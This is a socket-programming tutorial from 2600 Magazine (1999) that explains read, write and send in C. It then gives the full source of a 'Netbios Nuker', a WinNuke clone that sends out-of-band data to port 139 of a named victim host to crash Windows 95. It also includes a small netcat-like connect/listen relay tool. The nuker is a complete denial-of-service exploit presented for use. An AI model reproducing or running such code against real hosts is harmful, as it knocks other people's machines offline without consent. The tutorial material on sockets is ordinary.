Socket programming for fun and profit - PART 2 ---------------------------------------------- Article by darknite[@brigade.dhs.org] ** Section 0. Feedback comments. (related my prev. article) I've gotten quite a lot of replies which all stated how pleased they where with my first article, really nice to hear. And I've noticed some bugs(?) in the previous article, for example in the getip.c you should do unsigned printing, (just change the %i's to %u). This will fix the problem some people have had with the negative values.. And then I've also received mail about compiling the socket stuff under SunOS. You'll have to link the "socket"-library with the "-lsocket" argument to gcc. SunOS example: gcc getip.c -o getip -lsocket Linux example: gcc getip.c -o getip ** Section 1. Introduction, starting words. After finnishing this article we should have a simple Windows95 netbios nuker. (Yes, I know this is an old bug, but it's great to use for my purposes) This article assumes some basic C programming skills from the reader along with some basic knowledge and understanding of the TCP/IP protocol. It also assumes that you have read the previous article in the same series, available in an earlier edition of 2600(Fall 1998). Written for and by the hacker community. All rights reserved. ** Section 2. Reading/Writing. Now we can open and close sockets, so? What we really would want to do is to read from, or write to our socket. Everyone remembers that nice little program called winnuke, right? All winnuke does is to establish a socket-connection to port 139 on target host and then send a string to that port(via the socket). Let's start with taking a look on read(2). Definition found in and looks like this: ssize_t read(int fd, void *buf, size_t count); It returns number of bytes read upon success and -1 upon failure. To use this function all we do is read(S,buf,BUF_LEN); with the buf variable being a char[BUF_LEN]. The maximum characters a read(2) will return is 1024 even if there is more than 1024 characters to read. To bypass this problem, we need to do a simple loop. (see example below) #define BUF_LEN 1024 // so that it will be easy to change char text[BUF_LEN]; // destination char pointer int siz; // variable used to see how much we read // memset(text,0,BUF_LEN); // clear the text array siz=read(S,text,BUF_LEN); // read from socket S while (siz==BUF_LEN) { // if siz==BUF_LEN there is more to read printf("%s",text); fflush(stdout); // print what we got memset(text,0,BUF_LEN); // clear again siz=read(S,text,BUF_LEN); // read next chunk of data } // end of loop You should be able to figure it out for yourself if you don't understand my description above. What that peice of code does is reading data from the socket S until there is no more data left to read. I was like supposed to write this nice example for reading from a port when I realised that you usually don't have any use for _just_ reading. So I hope you understand the above example and I'll just tell you how to write some data to a socket instead. For writing data we could use the function write(2) also found in and looks merely identical with read(2). Definition: ssize_t write(int fd, void *buf, size_t count); Upon success it returns number of bytes written and upon failure it returns -1. This function is no problem using, so you should be able to write your own programs now. But let me introduce another way of sending data thru sockets. Instead of using the write(2) function call, let's use the send(2). (Definition found in and , important that you include both.) int send(int s, const void *msg, int len, unsigned int flags); Upon success it returns the number of character sent, and upon failure -1. To send a little string with send(2) you would write something like this: char *msg="hello world!\n"; send(socket,msg,strlen(msg),0); Simple eh? Lets take a look at the 'flags' argument. I just set it to 0 because I didn't want any extra options, but since our goal this time is to code a winnuke clone, we actually need to specify a flag. The reason for this, is that Netbios doesn't allow any data in from your connection normally. But if we send the data as high-priority, also known as Out Of Band, the flaw will be revealed because it will accept the data. So let's just specify the flag MSG_OOB in our little program. I have as usual included complete source code. <++> nuker.c #include #include #include #include #include #include #include // the message below should be replaced with your favourite quote. #define MESSAGE "per aspera ad astra." void main(int argc, char **argv) { int s; struct hostent *host; struct sockaddr_in victim; printf("Netbios Nuker - By darknite[@brigade.dhs.org]\n"); printf("For his socket-programming article, 1998\n"); if (argc<2) { printf("Usage: %s \n",argv[0]); exit(-1); } host=gethostbyname(argv[1]); if (!host) { herror(argv[1]); exit(-1); } victim.sin_family=AF_INET; victim.sin_addr.s_addr=*(long *)(host->h_addr); victim.sin_port=htons(139); s=socket(AF_INET,SOCK_STREAM,0); if (s<0) { printf("Error creating socket.\n"); exit(-1); } if (!connect(s,(struct sockaddr *)&victim,sizeof(victim))) { send(s,MESSAGE,strlen(MESSAGE),MSG_OOB); printf("Nuke sent. Target should be dead.\n"); } else printf("Couldn't connect to %s port 139.\n",argv[1]); if (close(s)) { printf("Error closing socket.\n"); exit(-1); } } <--> ** Section 3. Summary and closing words. Okay, now my work here is done. I've introduced all the necessary functions you need to get started with some TCP/IP programming. Included with this article is a program named "sock", which is a miniclone of netcat and a great utlity for both admins and lusers. In this program a new function called select(2) will be introduced. I won't give any description here but it's basicly used for checking if there is any new data coming in. The program is actually written by a friend of mine just after he read my article. ;) <++ sock.c> /* Sock v0.3 * By Spockie / Brigade (spockie@brigade.dhs.org) */ #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sock, port, mode, nread, buf_len = 1024, sin_s; struct hostent *host; struct sockaddr_in remote; unsigned char string[buf_len]; fd_set fdset; memset(string, 0, buf_len); FD_ZERO(&fdset); fprintf(stderr, "Sock v0.3 by spockie@brigade.dhs.org\n"); if (argc != 3) { fprintf(stderr, "Usage: %s hostname|-l port\n", argv[0]); exit(1); } if (argv[2]) port = atoi(argv[2]); if ((strcmp(argv[1], "-l")) == 0) mode = 1; else mode = 0; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if (mode == 0) { if ((host = gethostbyname(argv[1])) == NULL) { herror("gethostbyname"); exit(1); } remote.sin_family = AF_INET; remote.sin_addr.s_addr = *(long *)(host->h_addr); remote.sin_port = htons(port); if ((connect (sock, (struct sockaddr *)&remote, sizeof(remote))) < 0) { perror("connect"); exit(1); } fprintf(stderr, "Connected to %s.\n", inet_ntoa(remote.sin_addr)); } if (mode == 1) { struct sockaddr_in local; local.sin_family = AF_INET; local.sin_addr.s_addr = INADDR_ANY; local.sin_port = htons(port); if (bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr))==-1) { perror("bind"); exit(1); } if (listen(sock, 1) == -1) { perror("listen"); exit(1); } sin_s = sizeof(struct sockaddr_in); fprintf(stderr, "Waiting for connection..\n"); if ((sock = accept(sock, (struct sockaddr *)&remote, &sin_s)) == -1) perror("accept"); fprintf(stderr, "Connection from %s\n", inet_ntoa(remote.sin_addr)); } for (;;) { FD_SET(sock, &fdset); FD_SET(0, &fdset); if (select(sock + 1, &fdset, NULL, NULL, NULL) < 0) { fprintf(stderr, "Selective error!\n"); exit(1); } if (FD_ISSET(0, &fdset)) { if ((nread = read (0, string, buf_len)) < 0) { fprintf(stderr, "Stdin read error\n"); break; } else if (nread == 0) { fprintf(stderr, "Connection closed.\n"); break; } send(sock, string, strlen(string), 0); memset(string, 0, buf_len); } if (FD_ISSET(sock, &fdset)) { if ((nread = recv(sock, string, buf_len, 0)) < 0) { fprintf(stderr, "Network read error\n"); break; } else if (nread == 0) { fprintf(stderr, "Connection closed by foreign host.\n"); break; } printf("%s", string); memset(string, 0, buf_len); } } if ((close(sock)) < 0) { perror("close"); exit (1); } fprintf(stderr, "Program finished.\n"); } <--> I can be reached at darknite@brigade.dhs.org or on #hack,IRCNet. Please stop by http://brigade.dhs.org/darknite for some other stuff made by me. (Where you also can download my previous and this article in plain ascii.) Good luck with your programming. Best regards: Darknite, 1998. 2600 Magazine, Volume 16, Number 1, Spring 1999